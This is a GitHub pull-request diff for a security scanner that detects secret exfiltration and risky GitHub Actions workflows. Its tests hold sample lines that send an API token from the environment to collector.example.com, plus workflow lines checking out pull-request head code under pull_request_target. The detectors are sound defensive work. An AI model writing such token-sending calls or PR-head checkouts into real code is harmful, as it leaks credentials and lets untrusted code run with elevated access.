Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion dist/action-bundle/index.js

Large diffs are not rendered by default.

4 changes: 2 additions & 2 deletions dist/detectors/js-capability.js
Original file line number Diff line number Diff line change
Expand Up @@ -33,7 +33,7 @@ function collectSecretVariables(lines, newFileContents) {
return varsByFile;
}
function addSecretVariable(varsByFile, file, content) {
const match = content.match(/\b(?:const|let|var)\s+([A-Za-z_$][\w$]*)\s*=\s*process\.env\.[A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*\b/i);
const match = content.match(/\b(?:const|let|var)\s+([A-Za-z_$][\w$]*)\s*=\s*process\.env(?:\.[A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*\b|\[\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]\s*\])/i);
if (!match) {
return;
}
Expand Down Expand Up @@ -87,7 +87,7 @@ function isExternalHttpRequest(content) {
/(?:https?:\/\/|['"]https?:\/\/)/i.test(content));
}
function referencesEnvSecret(content) {
return /\bprocess\.env\.[A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*\b/i.test(content);
return /\bprocess\.env(?:\.[A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*\b|\[\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]\s*\])/i.test(content);
}
function referencesSecretVariable(content, secretVariables) {
return [...secretVariables].some((name) => new RegExp(String.raw `\b${escapeRegExp(name)}\b`).test(content));
Expand Down
6 changes: 3 additions & 3 deletions dist/detectors/py-capability.js
Original file line number Diff line number Diff line change
Expand Up @@ -39,7 +39,7 @@ function collectSecretVariables(lines, newFileContents) {
return varsByFile;
}
function addSecretVariable(varsByFile, file, content) {
const match = content.match(/^\s*([A-Za-z_][A-Za-z0-9_]*)\s*=\s*(?:os\.environ\s*(?:\[\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]\s*\]|\.get\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])|os\.getenv\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])/i);
const match = content.match(/^\s*([A-Za-z_][A-Za-z0-9_]*)\s*=\s*(?:(?:os\.)?environ\s*(?:\[\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]\s*\]|\.get\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])|(?:os\.)?getenv\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])/i);
if (!match) {
return;
}
Expand Down Expand Up @@ -97,8 +97,8 @@ function isPyExternalRequest(content) {
/(?:https?:\/\/|['"]https?:\/\/)/i.test(content));
}
function referencesPyEnvSecret(content) {
return (/\bos\.environ\s*(?:\[\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]\s*\]|\.get\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])/i.test(content) ||
/\bos\.getenv\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]/i.test(content));
return (/\b(?:os\.)?environ\s*(?:\[\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]\s*\]|\.get\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])/i.test(content) ||
/\b(?:os\.)?getenv\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]/i.test(content));
}
function referencesSecretVariable(content, secretVariables) {
return [...secretVariables].some((name) => new RegExp(String.raw `\b${escapeRegExp(name)}\b`).test(content));
Expand Down
12 changes: 6 additions & 6 deletions dist/detectors/workflow-permissions.js
Original file line number Diff line number Diff line change
Expand Up @@ -105,7 +105,7 @@ function detectPullRequestTarget(added) {
];
}
function detectPullRequestHeadCheckoutOnTarget(added, hasPullRequestTarget) {
if (!hasPullRequestTarget || !isPullRequestHeadCheckoutLine(added.content)) {
if (!hasPullRequestTarget || !referencesPullRequestHead(added.content)) {
return [];
}
return [
Expand All @@ -115,9 +115,9 @@ function detectPullRequestHeadCheckoutOnTarget(added, hasPullRequestTarget) {
severity: 'high',
file: added.file,
line: added.line,
subject: 'GitHub Actions PR-head checkout under pull_request_target',
message: 'Workflow checks out pull request head code in a pull_request_target workflow.',
recommendation: 'Use pull_request for untrusted PR code, or avoid checking out PR head code under pull_request_target.'
subject: 'GitHub Actions PR-head reference under pull_request_target',
message: 'Workflow under pull_request_target references the pull request head (SHA, ref, or repo), which can let untrusted PR code run with the elevated token context.',
recommendation: 'Use pull_request for untrusted PR code, or avoid referencing PR head SHA/ref/repo under pull_request_target.'
}
];
}
Expand All @@ -127,8 +127,8 @@ function isPullRequestTargetLine(content) {
function hasPullRequestTargetWorkflow(content) {
return content.split(/\r?\n/).some(isPullRequestTargetLine);
}
function isPullRequestHeadCheckoutLine(content) {
return /^\s*(?:ref|repository)\s*:\s*.*github\.event\.pull_request\.head\.(?:sha|ref|repo\.full_name)/i.test(content);
function referencesPullRequestHead(content) {
return /github\.event\.pull_request\.head\.(?:sha|ref|repo\.full_name)/i.test(content);
}
function detectSelfHostedRunner(added) {
if (!/^\s*runs-on\s*:\s*(?:.*\bself-hosted\b|.*\[\s*self-hosted\b)/i.test(added.content) &&
Expand Down
2 changes: 1 addition & 1 deletion dist/report.js
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@ const SUMMARY_LABELS = {
'capability_echo.dockerfile_pipe_to_shell': 'Dockerfile pipe-to-shell builds',
'capability_echo.workflow_permission_write': 'GitHub Actions write permissions',
'capability_echo.workflow_pull_request_target': 'GitHub Actions pull_request_target triggers',
'capability_echo.workflow_pr_head_checkout_on_target': 'GitHub Actions PR-head checkout under pull_request_target',
'capability_echo.workflow_pr_head_checkout_on_target': 'GitHub Actions PR-head reference under pull_request_target',
'capability_echo.workflow_self_hosted_runner': 'GitHub Actions self-hosted runners',
'capability_echo.workflow_mutable_action_ref': 'GitHub Actions mutable action references',
'capability_echo.workflow_secrets_inherit': 'GitHub Actions inherited secrets',
Expand Down
4 changes: 2 additions & 2 deletions src/detectors/js-capability.ts
Original file line number Diff line number Diff line change
Expand Up @@ -45,7 +45,7 @@ function collectSecretVariables(lines: AddedLine[], newFileContents: Record<stri

function addSecretVariable(varsByFile: Map<string, Set<string>>, file: string, content: string): void {
const match = content.match(
/\b(?:const|let|var)\s+([A-Za-z_$][\w$]*)\s*=\s*process\.env\.[A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*\b/i
/\b(?:const|let|var)\s+([A-Za-z_$][\w$]*)\s*=\s*process\.env(?:\.[A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*\b|\[\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]\s*\])/i
);
if (!match) {
return;
Expand Down Expand Up @@ -113,7 +113,7 @@ function isExternalHttpRequest(content: string): boolean {
}

function referencesEnvSecret(content: string): boolean {
return /\bprocess\.env\.[A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*\b/i.test(content);
return /\bprocess\.env(?:\.[A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*\b|\[\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]\s*\])/i.test(content);
}

function referencesSecretVariable(content: string, secretVariables: Set<string>): boolean {
Expand Down
6 changes: 3 additions & 3 deletions src/detectors/py-capability.ts
Original file line number Diff line number Diff line change
Expand Up @@ -51,7 +51,7 @@ function collectSecretVariables(lines: AddedLine[], newFileContents: Record<stri

function addSecretVariable(varsByFile: Map<string, Set<string>>, file: string, content: string): void {
const match = content.match(
/^\s*([A-Za-z_][A-Za-z0-9_]*)\s*=\s*(?:os\.environ\s*(?:\[\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]\s*\]|\.get\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])|os\.getenv\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])/i
/^\s*([A-Za-z_][A-Za-z0-9_]*)\s*=\s*(?:(?:os\.)?environ\s*(?:\[\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]\s*\]|\.get\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])|(?:os\.)?getenv\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])/i
);
if (!match) {
return;
Expand Down Expand Up @@ -124,8 +124,8 @@ function isPyExternalRequest(content: string): boolean {

function referencesPyEnvSecret(content: string): boolean {
return (
/\bos\.environ\s*(?:\[\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]\s*\]|\.get\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])/i.test(content) ||
/\bos\.getenv\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]/i.test(content)
/\b(?:os\.)?environ\s*(?:\[\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]\s*\]|\.get\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])/i.test(content) ||
/\b(?:os\.)?getenv\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]/i.test(content)
);
}

Expand Down
12 changes: 6 additions & 6 deletions src/detectors/workflow-permissions.ts
Original file line number Diff line number Diff line change
Expand Up @@ -128,7 +128,7 @@ function detectPullRequestTarget(added: AddedLine): Finding[] {
}

function detectPullRequestHeadCheckoutOnTarget(added: AddedLine, hasPullRequestTarget: boolean): Finding[] {
if (!hasPullRequestTarget || !isPullRequestHeadCheckoutLine(added.content)) {
if (!hasPullRequestTarget || !referencesPullRequestHead(added.content)) {
return [];
}

Expand All @@ -139,9 +139,9 @@ function detectPullRequestHeadCheckoutOnTarget(added: AddedLine, hasPullRequestT
severity: 'high',
file: added.file,
line: added.line,
subject: 'GitHub Actions PR-head checkout under pull_request_target',
message: 'Workflow checks out pull request head code in a pull_request_target workflow.',
recommendation: 'Use pull_request for untrusted PR code, or avoid checking out PR head code under pull_request_target.'
subject: 'GitHub Actions PR-head reference under pull_request_target',
message: 'Workflow under pull_request_target references the pull request head (SHA, ref, or repo), which can let untrusted PR code run with the elevated token context.',
recommendation: 'Use pull_request for untrusted PR code, or avoid referencing PR head SHA/ref/repo under pull_request_target.'
}
];
}
Expand All @@ -154,8 +154,8 @@ function hasPullRequestTargetWorkflow(content: string): boolean {
return content.split(/\r?\n/).some(isPullRequestTargetLine);
}

function isPullRequestHeadCheckoutLine(content: string): boolean {
return /^\s*(?:ref|repository)\s*:\s*.*github\.event\.pull_request\.head\.(?:sha|ref|repo\.full_name)/i.test(content);
function referencesPullRequestHead(content: string): boolean {
return /github\.event\.pull_request\.head\.(?:sha|ref|repo\.full_name)/i.test(content);
}

function detectSelfHostedRunner(added: AddedLine): Finding[] {
Expand Down
2 changes: 1 addition & 1 deletion src/report.ts
Original file line number Diff line number Diff line change
Expand Up @@ -45,7 +45,7 @@ const SUMMARY_LABELS: Record<string, string> = {
'capability_echo.dockerfile_pipe_to_shell': 'Dockerfile pipe-to-shell builds',
'capability_echo.workflow_permission_write': 'GitHub Actions write permissions',
'capability_echo.workflow_pull_request_target': 'GitHub Actions pull_request_target triggers',
'capability_echo.workflow_pr_head_checkout_on_target': 'GitHub Actions PR-head checkout under pull_request_target',
'capability_echo.workflow_pr_head_checkout_on_target': 'GitHub Actions PR-head reference under pull_request_target',
'capability_echo.workflow_self_hosted_runner': 'GitHub Actions self-hosted runners',
'capability_echo.workflow_mutable_action_ref': 'GitHub Actions mutable action references',
'capability_echo.workflow_secrets_inherit': 'GitHub Actions inherited secrets',
Expand Down
72 changes: 68 additions & 4 deletions test/detectors.test.mjs
Original file line number Diff line number Diff line change
Expand Up @@ -34,6 +34,39 @@
assert.equal(exfilFinding.severity, 'high');
});

test('js detector flags bracket-notation env secret access in inline exfiltration', () => {
const findings = detectJsCapability([
{
file: 'src/api/sync.ts',
line: 8,
content:
"await fetch('https://collector.example.com/events', { headers: { Authorization: `Bearer ${process.env['API_TOKEN']}` } });"

Check warning on line 43 in test/detectors.test.mjs

View workflow job for this annotation

GitHub Actions / scope-review

TaskBound medium scope creep

Added code performs an external HTTP request during the task. Recommendation: Confirm the network call belongs in the stated task.
}
]);

assert.ok(findings.some((finding) => finding.kind === 'capability_echo.source_secret_exfil_pattern'));
});

test('js detector tracks bracket-notation env secret variables across lines', () => {
const findings = detectJsCapability([
{
file: 'src/api/sync.ts',
line: 2,
content: "const apiToken = process.env[\"API_TOKEN\"];"
},
{
file: 'src/api/sync.ts',
line: 6,
content:
" await fetch('https://collector.example.com/events', { headers: { Authorization: `Bearer ${apiToken}` } });"

Check warning on line 61 in test/detectors.test.mjs

View workflow job for this annotation

GitHub Actions / scope-review

TaskBound medium scope creep

Added code performs an external HTTP request during the task. Recommendation: Confirm the network call belongs in the stated task.
}
]);

const exfilFinding = findings.find((finding) => finding.kind === 'capability_echo.source_secret_exfil_pattern');
assert.ok(exfilFinding);
assert.equal(exfilFinding.line, 6);
});

test('js detector downgrades test file subprocess findings', () => {
const findings = detectJsCapability([
{
Expand Down Expand Up @@ -265,6 +298,35 @@
assert.equal(findings.length, 0);
});

test('workflow detector flags custom-shell PR head checkout under pull_request_target', () => {
const findings = detectWorkflowPermissions([
{
file: '.github/workflows/agent.yml',
line: 3,
content: ' pull_request_target:'
},
{
file: '.github/workflows/agent.yml',
line: 18,
content: ' git clone https://github.com/${{ github.event.pull_request.head.repo.full_name }}'
},
{
file: '.github/workflows/agent.yml',
line: 19,
content: ' git checkout ${{ github.event.pull_request.head.sha }}'
}
]);

const findingsForKind = findings.filter(
(finding) => finding.kind === 'capability_echo.workflow_pr_head_checkout_on_target'
);
assert.equal(findingsForKind.length, 2);
assert.deepEqual(
findingsForKind.map((finding) => finding.line).sort((a, b) => a - b),
[18, 19]
);
});

test('workflow detector flags self-hosted runners', () => {
const findings = detectWorkflowPermissions([
{
Expand Down Expand Up @@ -366,9 +428,11 @@
severity: 'high',
file: '.github/workflows/agent.yml',
line: 21,
subject: 'GitHub Actions PR-head checkout under pull_request_target',
message: 'Workflow checks out pull request head code in a pull_request_target workflow.',
recommendation: 'Use pull_request for untrusted PR code, or avoid checking out PR head code under pull_request_target.'
subject: 'GitHub Actions PR-head reference under pull_request_target',
message:
'Workflow under pull_request_target references the pull request head (SHA, ref, or repo), which can let untrusted PR code run with the elevated token context.',
recommendation:
'Use pull_request for untrusted PR code, or avoid referencing PR head SHA/ref/repo under pull_request_target.'
},
{
kind: 'capability_echo.workflow_secrets_inherit',
Expand All @@ -390,7 +454,7 @@
assert.deepEqual(report.capabilitySummary, [
'source secret exfiltration patterns',
'GitHub Actions mutable action references',
'GitHub Actions PR-head checkout under pull_request_target',
'GitHub Actions PR-head reference under pull_request_target',
'GitHub Actions inherited secrets'
]);
});
63 changes: 63 additions & 0 deletions test/py-capability.test.mjs
Original file line number Diff line number Diff line change
Expand Up @@ -28,6 +28,69 @@ test('py: external request with env secret flags source secret exfiltration', ()
assert.equal(f.surface, 'source');
});

test('py: from-import getenv (unqualified) still flags secret exfiltration inline', () => {
const findings = detectPyCapability([
line(
'agent.py',
'requests.post("https://collector.example.com/events", headers={"Authorization": "Bearer " + getenv("API_TOKEN")})'
)
]);

assert.ok(findings.find((f) => f.kind === 'capability_echo.source_secret_exfil_pattern'));
});

test('py: from-import getenv tracked as a secret variable across lines', () => {
const findings = detectPyCapability(
[
line('agent.py', 'api_token = getenv("API_TOKEN")', 2),
line(
'agent.py',
'requests.post("https://collector.example.com/events", headers={"Authorization": "Bearer " + api_token})',
5
)
],
{
'agent.py': [
'from os import getenv',
'api_token = getenv("API_TOKEN")',
'',
'def sync():',
' requests.post("https://collector.example.com/events", headers={"Authorization": "Bearer " + api_token})'
].join('\n')
}
);

const exfil = findings.find((finding) => finding.kind === 'capability_echo.source_secret_exfil_pattern');
assert.ok(exfil);
assert.equal(exfil.line, 5);
});

test('py: unqualified environ.get tracked as a secret variable across lines', () => {
const findings = detectPyCapability(
[
line('agent.py', 'api_token = environ.get("API_TOKEN")', 2),
line(
'agent.py',
'requests.post("https://collector.example.com/events", headers={"Authorization": "Bearer " + api_token})',
5
)
],
{
'agent.py': [
'from os import environ',
'api_token = environ.get("API_TOKEN")',
'',
'def sync():',
' requests.post("https://collector.example.com/events", headers={"Authorization": "Bearer " + api_token})'
].join('\n')
}
);

const exfil = findings.find((finding) => finding.kind === 'capability_echo.source_secret_exfil_pattern');
assert.ok(exfil);
assert.equal(exfil.line, 5);
});

test('py: requests.get without literal URL does not over-fire', () => {
const findings = detectPyCapability([
line('agent.py', 'resp = requests.get(url, headers=h)')
Expand Down
Loading